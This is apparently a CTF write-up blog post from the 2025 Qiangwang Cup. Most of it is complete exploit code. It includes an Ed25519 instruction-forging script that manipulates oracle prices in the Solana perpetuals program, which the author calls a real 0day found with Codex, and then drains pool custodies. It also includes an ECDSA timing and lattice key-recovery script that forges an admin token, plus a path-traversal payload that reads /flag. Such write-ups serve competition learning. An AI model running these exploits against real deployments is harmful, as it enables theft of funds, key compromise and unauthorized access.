Logo
Overview

2025强网杯 题解

November 23, 2025

游记

?好像也没有玩,第一天坐飞机,晚上在火车站旁边吃了顿达美乐(?然后打车去酒店。好烦,坐车晕了

第二天比赛,坐牢,第三天比赛坐牢,然后晚上飞机回家。

Realworld

perpetual

要去找solana-labs/perpetuals的0day。看了眼好像archive了没有维护。

神秘codex直接给漏洞找出来了,,

于是搓脚本调利用,,最后简单背包一下就行。

from pwn import *
import json
import struct
import sys
import time
import urllib.request
from solders.pubkey import Pubkey
from solders.keypair import Keypair
from solders.instruction import Instruction, AccountMeta
from solders.system_program import ID as SYS_PROGRAM_ID
from solders.sysvar import INSTRUCTIONS as SYSVAR_INSTRUCTIONS_ID
# import subprocess
# print = lambda *a, **k: None
# p = subprocess.Popen(["orb", "./challege_server"],stderr=subprocess.PIPE, stdout=subprocess.PIPE)
# time.sleep(1)
context.log_level = "error"

# -------------------------------------------------------------------------
# 静态参数配置(核心:你只需要改这里)
# -------------------------------------------------------------------------
# 每一轮 PhaseA/PhaseB 都有 index,按顺序递增
# 如果轮次出现在 STATIC_PHASE_PARAMS,则执行覆盖参数,否则跳过

# 格式:
# index: {
#     "p1": int,
#     "e1": int,
#     "p2": int,
#     "e2": int,
#     "safety": float,
#     "cap": int,
#     "mode": "m1_to_m2" 或 "m2_to_m1"
# }

STATIC_PHASE_PARAMS = {
    # 示例(你运行后自己改):
    0: {"p1": 1_000_000_000, "e1": -5,
        "p2": 1_000_000_000, "e2": -7,
        "safety": 0.5, "cap": 5_000_000,
        "mode": "m1_to_m2"},
}

# -------------------------------------------------------------------------
# 常量定义
# -------------------------------------------------------------------------

ED25519_PROGRAM_ID = Pubkey.from_string("Ed25519SigVerify111111111111111111111111111")
SPL_TOKEN_ID = Pubkey.from_string("TokenkegQfeZyiNwAJbNbGKPFXCWuBvf9Ss623VQ5DA")
SPL_ASSOCIATED_TOKEN_ID = Pubkey.from_string("ATokenGPvbdGVxr1b2hvZbsiqW5xWH25efTNsLJA8knL")

IX_SET_CUSTOM_ORACLE_PRICE = bytes([0xef, 0x2b, 0x41, 0x94, 0xe1, 0x85, 0x6d, 0x9c])
IX_SWAP = bytes([0xf8, 0xc6, 0x9e, 0x91, 0xe1, 0x75, 0x87, 0xc8])

R1_DECIMALS = 9
R2_DECIMALS = 6

# -------------------------------------------------------------------------
# Solana 客户端
# -------------------------------------------------------------------------

class SolanaClient:
    def __init__(self, host, port):
        self.host = host
        self.port = port
        self.r = remote(host, port)

    def close(self):
        self.r.close()

    def reconnect(self):
        self.close()
        self.r = remote(self.host, self.port)
        self.read_banner_key("Player:")
        self.read_banner_key("Admin:")
        self.read_banner_key("Mint1:")
        self.read_banner_key("Mint2:")

    def read_banner_key(self, prefix):
        self.r.recvuntil(prefix.encode())
        line = self.r.recvline().strip().decode()
        return Pubkey.from_string(line.strip())

    def send_transaction(self, ixs):
        self.r.recvuntil(b"num instructions:")
        self.r.sendline(str(len(ixs)).encode())
        for ix in ixs:
            self.send_instruction(ix)

    def send_instruction(self, ix):
        self.r.recvuntil(b"program:")
        self.r.sendline(str(ix.program_id).encode())

        self.r.recvuntil(b"num accounts:")
        self.r.sendline(str(len(ix.accounts)).encode())

        for acc in ix.accounts:
            tag = "w" if acc.is_writable else "r"
            if acc.is_signer:
                tag += "s"
            self.r.sendline(f"{tag} {acc.pubkey}".encode())

        self.r.recvuntil(b"ix len:")
        self.r.sendline(str(len(ix.data)).encode())
        self.r.send(ix.data)

# -------------------------------------------------------------------------
# PDA 与参数序列化
# -------------------------------------------------------------------------

def get_associated_token_address(owner, mint):
    return Pubkey.find_program_address(
        [bytes(owner), bytes(SPL_TOKEN_ID), bytes(mint)],
        SPL_ASSOCIATED_TOKEN_ID
    )[0]

def serialize_params(custody, price, expo, conf, ema, publish_time):
    return (
        bytes(custody) +
        struct.pack("<Q", price) +
        struct.pack("<i", expo) +
        struct.pack("<Q", conf) +
        struct.pack("<Q", ema) +
        struct.pack("<q", publish_time)
    )

# -------------------------------------------------------------------------
# Forged Ed25519
# -------------------------------------------------------------------------

def forge_ed25519_pair(admin_pubkey: Pubkey, params_bytes: bytes, attacker_keypair: Keypair):
    """
    构造两个 Ed25519 指令:
      fake_ix - 给 perpetuals 的漏洞代码使用(读取固定 offset 的 pubkey/msg)
      real_ix - 给 Ed25519 程序真正验证(签名者为攻击者)
    """
    msg = params_bytes

    # 转换成真正的 bytes
    sig = bytes(attacker_keypair.sign_message(msg))        # Signature -> bytes
    attacker_pubkey_bytes = bytes(attacker_keypair.pubkey())
    admin_pubkey_bytes = bytes(admin_pubkey)

    # ================
    #   real_ix
    # ================
    # 为真验证准备 offsets
    sig_offset = 16
    pk_offset = sig_offset + len(sig)              # 16 + 64 = 80
    msg_offset = pk_offset + len(attacker_pubkey_bytes)   # 80 + 32 = 112

    real_data = bytearray()

    # header
    real_data.append(1)     # num_signatures
    real_data.append(0)     # padding

    # 描述块(14 bytes)
    real_data.extend(struct.pack("<H", sig_offset))       # signature offset
    real_data.extend(struct.pack("<H", 0xFFFF))           # signature_instruction_index (self)
    real_data.extend(struct.pack("<H", pk_offset))        # pubkey offset
    real_data.extend(struct.pack("<H", 0xFFFF))           # pubkey_instruction_index (self)
    real_data.extend(struct.pack("<H", msg_offset))       # msg offset
    real_data.extend(struct.pack("<H", len(msg)))         # msg length
    real_data.extend(struct.pack("<H", 0xFFFF))           # message_instruction_index (self)

    # 拼接真实签名 | attacker_pubkey | msg
    real_data.extend(sig)
    real_data.extend(attacker_pubkey_bytes)
    real_data.extend(msg)

    real_ix = Instruction(ED25519_PROGRAM_ID, bytes(real_data), [])

    # ================
    #   fake_ix
    # ================
    fake_len = msg_offset + len(msg)
    if fake_len < 112 + len(msg):
        fake_len = 112 + len(msg)

    fake_data = bytearray(fake_len)

    fake_data[0] = 1
    fake_data[1] = 0

    # 指向 real_ix(索引=1)
    struct.pack_into("<H", fake_data, 2, sig_offset)
    struct.pack_into("<H", fake_data, 4, 1)

    struct.pack_into("<H", fake_data, 6, pk_offset)
    struct.pack_into("<H", fake_data, 8, 1)

    struct.pack_into("<H", fake_data, 10, msg_offset)
    struct.pack_into("<H", fake_data, 12, len(msg))
    struct.pack_into("<H", fake_data, 14, 1)

    # perpetuals 会用固定 slice 取这里的数据
    fake_data[16:48] = admin_pubkey_bytes
    fake_data[112:112 + len(msg)] = msg

    fake_ix = Instruction(ED25519_PROGRAM_ID, bytes(fake_data), [])

    return fake_ix, real_ix

# -------------------------------------------------------------------------
# Custody Limit 计算
# -------------------------------------------------------------------------

def compute_safe_amount_in(
    free_out_tokens,
    dec_in, dec_out,
    price_in, expo_in,
    price_out, expo_out,
    safety
):
    if free_out_tokens <= 0:
        return 0

    free_out_lamports = free_out_tokens * (10 ** dec_out)
    P_in = price_in * (10 ** expo_in)
    P_out = price_out * (10 ** expo_out)
    if P_in <= 0 or P_out <= 0:
        return 0

    scale = 10 ** (dec_in - dec_out)
    max_in = free_out_lamports * (P_out / P_in) * scale
    max_in *= safety

    if max_in > 2**63 - 1:
        max_in = 2**63 - 1
    if max_in < 1:
        return 1
    return int(max_in)

# -------------------------------------------------------------------------
# 主逻辑
# -------------------------------------------------------------------------

def main():

    # host, port = "10.10.10.80", 1337
    # host, port = "192.168.2.94", 1337
    host, port = "127.0.0.1", 1337
    client = SolanaClient(host, port)

    player = client.read_banner_key("Player:")
    admin = client.read_banner_key("Admin:")
    mint1 = client.read_banner_key("Mint1:")
    mint2 = client.read_banner_key("Mint2:")

    program_id = Pubkey.from_string("Bmr31xzZYYVUdoHmAJL1DAp2anaitW8Tw9YfASS94MKJ")

    perpetuals_pda = Pubkey.find_program_address([b"perpetuals"], program_id)[0]
    transfer_authority_pda = Pubkey.find_program_address([b"transfer_authority"], program_id)[0]
    pool_pda = Pubkey.find_program_address([b"pool", b"test pool"], program_id)[0]

    custody1_pda = Pubkey.find_program_address([b"custody", bytes(pool_pda), bytes(mint1)], program_id)[0]
    custody2_pda = Pubkey.find_program_address([b"custody", bytes(pool_pda), bytes(mint2)], program_id)[0]

    custody1_token = Pubkey.find_program_address([b"custody_token_account", bytes(pool_pda), bytes(mint1)], program_id)[0]
    custody2_token = Pubkey.find_program_address([b"custody_token_account", bytes(pool_pda), bytes(mint2)], program_id)[0]

    oracle1_pda = Pubkey.find_program_address([b"oracle_account", bytes(pool_pda), bytes(mint1)], program_id)[0]
    oracle2_pda = Pubkey.find_program_address([b"oracle_account", bytes(pool_pda), bytes(mint2)], program_id)[0]

    player_ata1 = get_associated_token_address(player, mint1)
    player_ata2 = get_associated_token_address(player, mint2)
    create_ata_data = bytes([1])  # CreateIdempotent
    def make_create_ata_ix(mint, ata):
        return Instruction(
            SPL_ASSOCIATED_TOKEN_ID,
            create_ata_data,
            [
                AccountMeta(player, True, True),   # funding (signer)
                AccountMeta(ata, False, True),     # ata
                AccountMeta(player, False, False), # owner
                AccountMeta(mint, False, False),   # mint
                AccountMeta(SYS_PROGRAM_ID, False, False),
                AccountMeta(SPL_TOKEN_ID, False, False),
            ]
        )

    client.send_transaction([
        make_create_ata_ix(mint1, player_ata1),
        make_create_ata_ix(mint2, player_ata2)
    ])
    client.reconnect()
    # 生成攻击 key
    attacker_keypair = Keypair()
    ts_base = int(time.time())

    def fresh_ts():
        nonlocal ts_base
        ts_base = max(ts_base + 1, int(time.time()))
        return ts_base

    def set_oracle(custody_pda, oracle_pda, price, expo):
        params = serialize_params(custody_pda, price, expo, 1, price, fresh_ts())
        fake, real = forge_ed25519_pair(admin, params, attacker_keypair)
        ix = Instruction(program_id, IX_SET_CUSTOM_ORACLE_PRICE + params, [
            AccountMeta(perpetuals_pda, False, False),
            AccountMeta(pool_pda, False, False),
            AccountMeta(custody_pda, False, False),
            AccountMeta(oracle_pda, False, True),
            AccountMeta(SYSVAR_INSTRUCTIONS_ID, False, False),
        ])
        client.send_transaction([fake, real, ix])
        client.reconnect()

    def swap_m1_to_m2(amount):
        data = IX_SWAP + struct.pack("<Q", amount) + struct.pack("<Q", 0)
        ix = Instruction(program_id, data, [
            AccountMeta(player, True, True),
            AccountMeta(player_ata1, False, True),
            AccountMeta(player_ata2, False, True),
            AccountMeta(transfer_authority_pda, False, False),
            AccountMeta(perpetuals_pda, False, False),
            AccountMeta(pool_pda, False, True),
            AccountMeta(custody1_pda, False, True),
            AccountMeta(oracle1_pda, False, False),
            AccountMeta(custody1_token, False, True),
            AccountMeta(custody2_pda, False, True),
            AccountMeta(oracle2_pda, False, False),
            AccountMeta(custody2_token, False, True),
            AccountMeta(SPL_TOKEN_ID, False, False),
        ])
        client.send_transaction([ix])
        client.reconnect()

    def swap_m2_to_m1(amount):
        data = IX_SWAP + struct.pack("<Q", amount) + struct.pack("<Q", 0)
        ix = Instruction(program_id, data, [
            AccountMeta(player, True, True),
            AccountMeta(player_ata2, False, True),
            AccountMeta(player_ata1, False, True),
            AccountMeta(transfer_authority_pda, False, False),
            AccountMeta(perpetuals_pda, False, False),
            AccountMeta(pool_pda, False, True),
            AccountMeta(custody2_pda, False, True),
            AccountMeta(oracle2_pda, False, False),
            AccountMeta(custody2_token, False, True),
            AccountMeta(custody1_pda, False, True),
            AccountMeta(oracle1_pda, False, False),
            AccountMeta(custody1_token, False, True),
            AccountMeta(SPL_TOKEN_ID, False, False),
        ])
        client.send_transaction([ix])
        client.reconnect()

    def fetch_metrics():
        url = f"http://{host}:8080/metrics"
        data = json.loads(urllib.request.urlopen(url).read().decode())
        return float(data["custody1"]), float(data["custody2"]), float(data["aum"])
    set_oracle(custody1_pda, oracle1_pda, 1_000_000_000, -3)
    set_oracle(custody2_pda, oracle2_pda, 1_000_000_000, -9)
    swap_m1_to_m2(900)
    c1,c2,aum = fetch_metrics()

    def a2b(amount, times, p1,e1 ,p2,e2):
        for _ in range(times):
            p1, e1 = 1_000_000_000, -7
            p2, e2 = 1_000_000_000, -5
            set_oracle(custody1_pda, oracle1_pda, p1, e1)
            set_oracle(custody2_pda, oracle2_pda, p2, e2)
            swap_m2_to_m1(amount)

            c1,c2,aum = fetch_metrics()
            print(f"A-B {c1=} {c2=} {aum=}")
            sleep(0.1)
    def b2a(amount, times, p1,e1 ,p2,e2):
        for _ in range(times):
            p1, e1 = 1_000_000_000, -3
            p2, e2 = 1_000_000_000, -6
            set_oracle(custody1_pda, oracle1_pda, p1, e1)
            set_oracle(custody2_pda, oracle2_pda, p2, e2)
            swap_m1_to_m2(amount)

            c1,c2,aum = fetch_metrics()
            print(f"B-A {c1=} {c2=} {aum=}")
            sleep(0.1)

    a2b(10_0_000, 7, 1_000_000_000, -7, 1_000_000_000, -5)
    b2a(10_000_000, 6, 1_000_000_000, -3, 1_000_000_000, -6)
    a2b(10_0_000, 7, 1_000_000_000, -7, 1_000_000_000, -5)
    b2a(10_000_000, 7, 1_000_000_000, -3, 1_000_000_000, -6)
    a2b(10_0_000, 7, 1_000_000_000, -7, 1_000_000_000, -5)
    b2a(10_000_000, 7, 1_000_000_000, -3, 1_000_000_000, -6)
    a2b(10_0_000, 7, 1_000_000_000, -7, 1_000_000_000, -5)
    b2a(10_000_000, 7, 1_000_000_000, -3, 1_000_000_000, -6)

    a2b(10_0_000, 7, 1_000_000_000, -7, 1_000_000_000, -5)
    b2a(10_000_000, 7, 1_000_000_000, -3, 1_000_000_000, -6)

    a2b(10_0_000, 7, 1_000_000_000, -7, 1_000_000_000, -5)
    b2a(10_000_000, 7, 1_000_000_000, -3, 1_000_000_000, -6)

    a2b(10_0_000, 7, 1_000_000_000, -7, 1_000_000_000, -5)
    b2a(10_000_000, 7, 1_000_000_000, -3, 1_000_000_000, -6)

    a2b(10_0_000, 7, 1_000_000_000, -7, 1_000_000_000, -5)
    b2a(10_000_000, 7, 1_000_000_000, -3, 1_000_000_000, -6)

    a2b(10_0_000, 7, 1_000_000_000, -7, 1_000_000_000, -5)
    b2a(10_000_000, 7, 1_000_000_000, -3, 1_000_000_000, -6)

    a2b(10_0_000, 7, 1_000_000_000, -7, 1_000_000_000, -5)
    b2a(10_000_000, 7, 1_000_000_000, -3, 1_000_000_000, -6)

    a2b(10_0_000, 7, 1_000_000_000, -7, 1_000_000_000, -5)
    b2a(10_000_000, 7, 1_000_000_000, -3, 1_000_000_000, -6)

    a2b(10_0_000, 7, 1_000_000_000, -7, 1_000_000_000, -5)
    b2a(10_000_000, 7, 1_000_000_000, -3, 1_000_000_000, -6)

    a2b(10_0_000, 7, 1_000_000_000, -7, 1_000_000_000, -5)
    b2a(10_000_000, 7, 1_000_000_000, -3, 1_000_000_000, -6)

    a2b(10_0_000, 7, 1_000_000_000, -7, 1_000_000_000, -5)
    b2a(10_000_000, 7, 1_000_000_000, -3, 1_000_000_000, -6)

    a2b(10_000, 7, 1_000_000_000, -7, 1_000_000_000, -5)
    b2a(10_00_000, 20, 1_000_000_000, -3, 1_000_000_000, -6)

    a2b(10_000, 7, 1_000_000_000, -7, 1_000_000_000, -5)
    b2a(10_00_000, 12, 1_000_000_000, -3, 1_000_000_000, -6)

    a2b(10_000, 7, 1_000_000_000, -7, 1_000_000_000, -5)
    b2a(10_00_000, 7, 1_000_000_000, -3, 1_000_000_000, -6)


    a2b(10_000, 7, 1_000_000_000, -7, 1_000_000_000, -5)
    b2a(10_00_000, 7, 1_000_000_000, -3, 1_000_000_000, -6)

    a2b(10_000, 7, 1_000_000_000, -7, 1_000_000_000, -5)
    b2a(10_00_000, 7, 1_000_000_000, -3, 1_000_000_000, -6)

    a2b(10_000, 7, 1_000_000_000, -7, 1_000_000_000, -5)
    b2a(10_00_000, 7, 1_000_000_000, -3, 1_000_000_000, -6)

    a2b(10_000, 7, 1_000_000_000, -7, 1_000_000_000, -5)
    b2a(10_00_000, 7, 1_000_000_000, -3, 1_000_000_000, -6)

    a2b(10_000, 7, 1_000_000_000, -7, 1_000_000_000, -5)
    b2a(10_00_000, 7, 1_000_000_000, -3, 1_000_000_000, -6)

    a2b(10_000, 7, 1_000_000_000, -7, 1_000_000_000, -5)
    b2a(10_00_000, 7, 1_000_000_000, -3, 1_000_000_000, -6)

    a2b(10_000, 7, 1_000_000_000, -7, 1_000_000_000, -5)
    b2a(10_00_000, 7, 1_000_000_000, -3, 1_000_000_000, -6)

    a2b(10_00, 7, 1_000_000_000, -7, 1_000_000_000, -5)
    b2a(10_0_000, 20, 1_000_000_000, -3, 1_000_000_000, -6)


    a2b(10_00, 7, 1_000_000_000, -7, 1_000_000_000, -5)
    b2a(10_0_000, 8, 1_000_000_000, -3, 1_000_000_000, -6)


    a2b(10_00, 7, 1_000_000_000, -7, 1_000_000_000, -5)
    b2a(10_0_000, 7, 1_000_000_000, -3, 1_000_000_000, -6)


    a2b(10_0, 7, 1_000_000_000, -7, 1_000_000_000, -5)
    b2a(10_000, 7, 1_000_000_000, -3, 1_000_000_000, -6)

    a2b(10_0, 7, 1_000_000_000, -7, 1_000_000_000, -5)
    b2a(10_000, 7, 1_000_000_000, -3, 1_000_000_000, -6)


    a2b(10_0, 7, 1_000_000_000, -7, 1_000_000_000, -5)
    b2a(10_000, 7, 1_000_000_000, -3, 1_000_000_000, -6)


    a2b(10_0, 7, 1_000_000_000, -7, 1_000_000_000, -5)
    b2a(10_000, 7, 1_000_000_000, -3, 1_000_000_000, -6)


    a2b(10_0, 7, 1_000_000_000, -7, 1_000_000_000, -5)
    b2a(10_000, 7, 1_000_000_000, -3, 1_000_000_000, -6)


    a2b(10_0, 7, 1_000_000_000, -7, 1_000_000_000, -5)
    b2a(10_000, 7, 1_000_000_000, -3, 1_000_000_000, -6)


    a2b(10_0, 7, 1_000_000_000, -7, 1_000_000_000, -5)
    b2a(10_000, 7, 1_000_000_000, -3, 1_000_000_000, -6)

    client.r.sendlineafter("num instructions:", b"0")
    client.r.close()



if __name__ == "__main__":
    main()
TrustSQL

依旧codex

秒了

这个太刻晴了,给我整甘雨了,,,这真是realworld?出成ctf吧,没什么必要上去演示

Forge

好像队友也是用ai切的,反正主要操作是做调用然后侧信道?吧

from requests import get, post

import requests
import json
import time
import os
from hashlib import sha256
from ecdsa import SigningKey, SECP256k1
import base64

url = "http://10.10.10.233:5000"

def get_pubkey():
    r = requests.get(f"{url}/api/pubkey")
    return bytes.fromhex(r.json()['vk'])

def collect_data():
    # Parameters
    kbits = 240
    train_times = 100
    ncount = 400
    
    print(f"[*] Setting parameters: kbits={kbits}, train={train_times}, ncount={ncount}")
    r = requests.post(f"{url}/api/set_param", json={
        "kbits": kbits,
        "train": train_times,
        "ncount": ncount
    })
    print(f"[*] Set param response: {r.json()}")
    
    print("[*] Collecting training data...")
    r = requests.get(f"{url}/api/train")
    data = r.json()
    costs = data['costs']
    sigs = data['sigs']
    
    # Pair them up
    pairs = []
    for c, s in zip(costs, sigs):
        pairs.append((c, s))
        
    # Sort by cost (ascending)
    pairs.sort(key=lambda x: x[0])
    
    # Take the top ones (fastest)
    # We expect half of them to be small k (kbits=240)
    # Let's take top 60 to be very safe
    top_pairs = pairs[:60]
    
    print(f"[*] Collected {len(top_pairs)} signatures with low signing time.")

    
    # Prepare data for Sage
    # We need r, s, and the message hash
    # Message is fixed in server.py: b"Not your keys, not your coins!"
    msg = b"Not your keys, not your coins!"
    msg_digest = sha256(msg).digest().hex()
    
    output = {
        "msg_digest": msg_digest,
        "sigs": [p[1] for p in top_pairs],
        "n": int(SECP256k1.order),
        "kbits": kbits
    }
    
    with open("data.json", "w") as f:
        json.dump(output, f)
    print("[*] Data saved to data.json")

def forge_token():
    if not os.path.exists("privkey.txt"):
        print("[-] privkey.txt not found. Run solve.sage first.")
        return

    with open("privkey.txt", "r") as f:
        d = int(f.read())
    
    print(f"[*] Loaded private key: {d}")
    sk = SigningKey.from_secret_exponent(d, curve=SECP256k1)
    
    # Verify against public key
    vk = sk.verifying_key
    r = requests.get(f"{url}/api/pubkey")
    server_vk_hex = r.json()['vk']
    my_vk_hex = vk.to_string().hex()
    
    print(f"[*] Server VK: {server_vk_hex}")
    print(f"[*] My VK:     {my_vk_hex}")
    
    if server_vk_hex != my_vk_hex:
        print("[-] Private key mismatch! The recovered key is incorrect.")
        return

    print("[+] Private key verified!")
    
    # Payload
    payload = json.dumps({"username": "admin"}).encode()
    # The server decodes base64 payload
    # payload = base64.b64decode(payload)
    # So we need to base64 encode it
    payload_b64 = base64.b64encode(payload).decode()
    
    # Sign payload
    # verify_token:
    # msg = parts[0].encode() -> this is payload_b64.encode()
    msg = payload_b64.encode()
    msg_digest = sha256(msg).digest()
    
    signature = sk.sign_digest(msg_digest)
    sig_b64 = base64.b64encode(signature).decode()
    
    token = f"{payload_b64}.{sig_b64}"
    print(f"[*] Forged token: {token}")
    
    # Access welcome
    cookies = {'token': token}
    r = requests.get(f"{url}/welcome", cookies=cookies)
    
    print("[*] Response from /welcome:")
    print(r.text)
    
    if "flag" in r.text.lower() or "admin" in r.text.lower():
        print("[+] Exploitation successful!")
        return token




if __name__ == "__main__":
    while True:
        os.system("rm privkey.txt")
        os.system("rm data.json")
        collect_data()
        os.system("sage solve.sage")
        try:
            token = forge_token()
            if token is not None:
                print(f"[+] Use this token to access admin: {token}")
                break
            else:
                print("[-] Failed to forge token.")
                continue
        except Exception as e:
            print(f"[-] Error during forging token: {e}")
            continue

import json
from sage.all import *

def solve():
    print("[*] Loading data...")
    with open("data.json", "r") as f:
        data = json.load(f)

    sigs = data["sigs"]
    msg_digest = int(data["msg_digest"], 16)
    n = int(data["n"])
    kbits = data["kbits"]
    
    # Parse signatures
    parsed_sigs = []
    for s_hex in sigs:
        r = int(s_hex[:64], 16)
        s = int(s_hex[64:], 16)
        parsed_sigs.append((r, s))
        
    m = len(parsed_sigs)
    print(f"[*] Loaded {m} signatures")
    
    # Prepare HNP parameters
    # k = s^-1 * (z + r * d) mod n
    # k = s^-1 * z + s^-1 * r * d mod n
    # k = t + u * d mod n
    
    ts = []
    us = []
    
    for r, s in parsed_sigs:
        s_inv = inverse_mod(s, n)
        t = (s_inv * msg_digest) % n
        u = (s_inv * r) % n
        ts.append(t)
        us.append(u)
        
    # Eliminate d
    # k_i = t_i + u_i * d mod n
    # k_1 = t_1 + u_1 * d mod n  => d = u_1^-1 * (k_1 - t_1) mod n
    # k_i = t_i + u_i * u_1^-1 * (k_1 - t_1) mod n
    # k_i = t_i + w_i * (k_1 - t_1) mod n
    # k_i = t_i + w_i * k_1 - w_i * t_1 mod n
    # k_i - w_i * k_1 = t_i - w_i * t_1 mod n
    # Let c_i = t_i - w_i * t_1 mod n
    # k_i - w_i * k_1 - l_i * n = c_i
    # k_i = w_i * k_1 + l_i * n + c_i
    
    # Try different subsets
    available_sigs = len(sigs)
    for num_sigs in [20, 25, 30, 40, 50, 60]:
        if num_sigs > available_sigs:
            break
            
        print(f"[*] Trying with {num_sigs} signatures...")
        
        subset_indices = range(num_sigs)
        
        # Recalculate ws and cs for this subset
        # We need to re-index relative to the first element of the subset
        
        # Let's just use the first num_sigs from the sorted list
        # We assume they are sorted by quality (time)
        
        current_ts = ts[:num_sigs]
        current_us = us[:num_sigs]
        
        u1_inv = inverse_mod(current_us[0], n)
        ws = []
        cs = []
        
        # Centering
        # k_i = w_i * k_1 + l_i * n + c_i
        # We want k_i in [0, 2^kbits)
        # Shift to [-2^(kbits-1), 2^(kbits-1))
        # k_i_centered = k_i - 2^(kbits-1)
        # k_i_centered + 2^(kbits-1) = w_i * (k_1_centered + 2^(kbits-1)) + l_i * n + c_i
        # k_i_centered = w_i * k_1_centered + l_i * n + (c_i + w_i * 2^(kbits-1) - 2^(kbits-1))
        
        bias = 2**(kbits-1)
        
        for i in range(num_sigs):
            w = (current_us[i] * u1_inv) % n
            c = (current_ts[i] - w * current_ts[0]) % n
            
            # Adjust c for centering
            c_prime = (c + w * bias - bias) % n
            
            ws.append(w)
            cs.append(c_prime)
            
        B = 2**(kbits-1) # Bound is now half the range
        
        matrix_rows = []
        
        # Row for k1_centered
        row = [1] + ws[1:] + [0]
        matrix_rows.append(row)
        
        # Rows for n
        for i in range(num_sigs-1):
            row = [0] * (num_sigs+1)
            row[i+1] = n
            matrix_rows.append(row)
            
        # Row for target
        row = [0] + cs[1:] + [B]
        matrix_rows.append(row)
        
        mat = Matrix(ZZ, matrix_rows)
        
        # print("[*] LLL reduction...")
        L = mat.LLL()
        
        for row in L:
            if abs(row[-1]) == B:
                pot_k1_centered = row[0]
                if row[-1] < 0:
                    pot_k1_centered = -pot_k1_centered
                    
                # Recover k1
                pot_k1 = pot_k1_centered + bias
                
                # Calculate d
                d = (u1_inv * (pot_k1 - current_ts[0])) % n
                
                # Verify
                k2_calc = (current_ts[1] + current_us[1] * d) % n
                
                # Check if k2 is small (it should be)
                # Also check if it matches the public key if we had it, but we don't easily here.
                # But we can check if the recovered d is consistent with ALL signatures in the subset
                
                consistent = True
                for j in range(num_sigs):
                    kj_calc = (current_ts[j] + current_us[j] * d) % n
                    if kj_calc >= 2**kbits:
                        consistent = False
                        break
                
                if consistent:
                     print(f"[+] Found private key: {d}")
                     with open("privkey.txt", "w") as f:
                         f.write(str(d))
                     print("[*] Private key saved to privkey.txt")
                     return

    print("[-] Failed to recover private key")

if __name__ == "__main__":
    solve()

AWDU

叫什么awdu啊,就是现在awd不都是这样么

Web - fox

第一个洞

response = r.post(f"http://{ip}:{port}/index.php/plus/download/file", data={"name": "../../../../../../../../../flag"}).text 任意读。name必须走post发来避开他防火墙,所以fix就是反过来把post给收掉。

第二个洞

应该是Zipdown的解压,可以构造恶意包解压来做任意写。没写出来攻击。

Pwn - smiles
ADD
.  /flag

三个空格。怎么还是个后门来的。

队里没pwn了,做到这样差不多拼尽全力了…后面复现试试看做其他的?

comment

留言 / 评论

如果暂时没有看到评论,请点击下方按钮重新加载。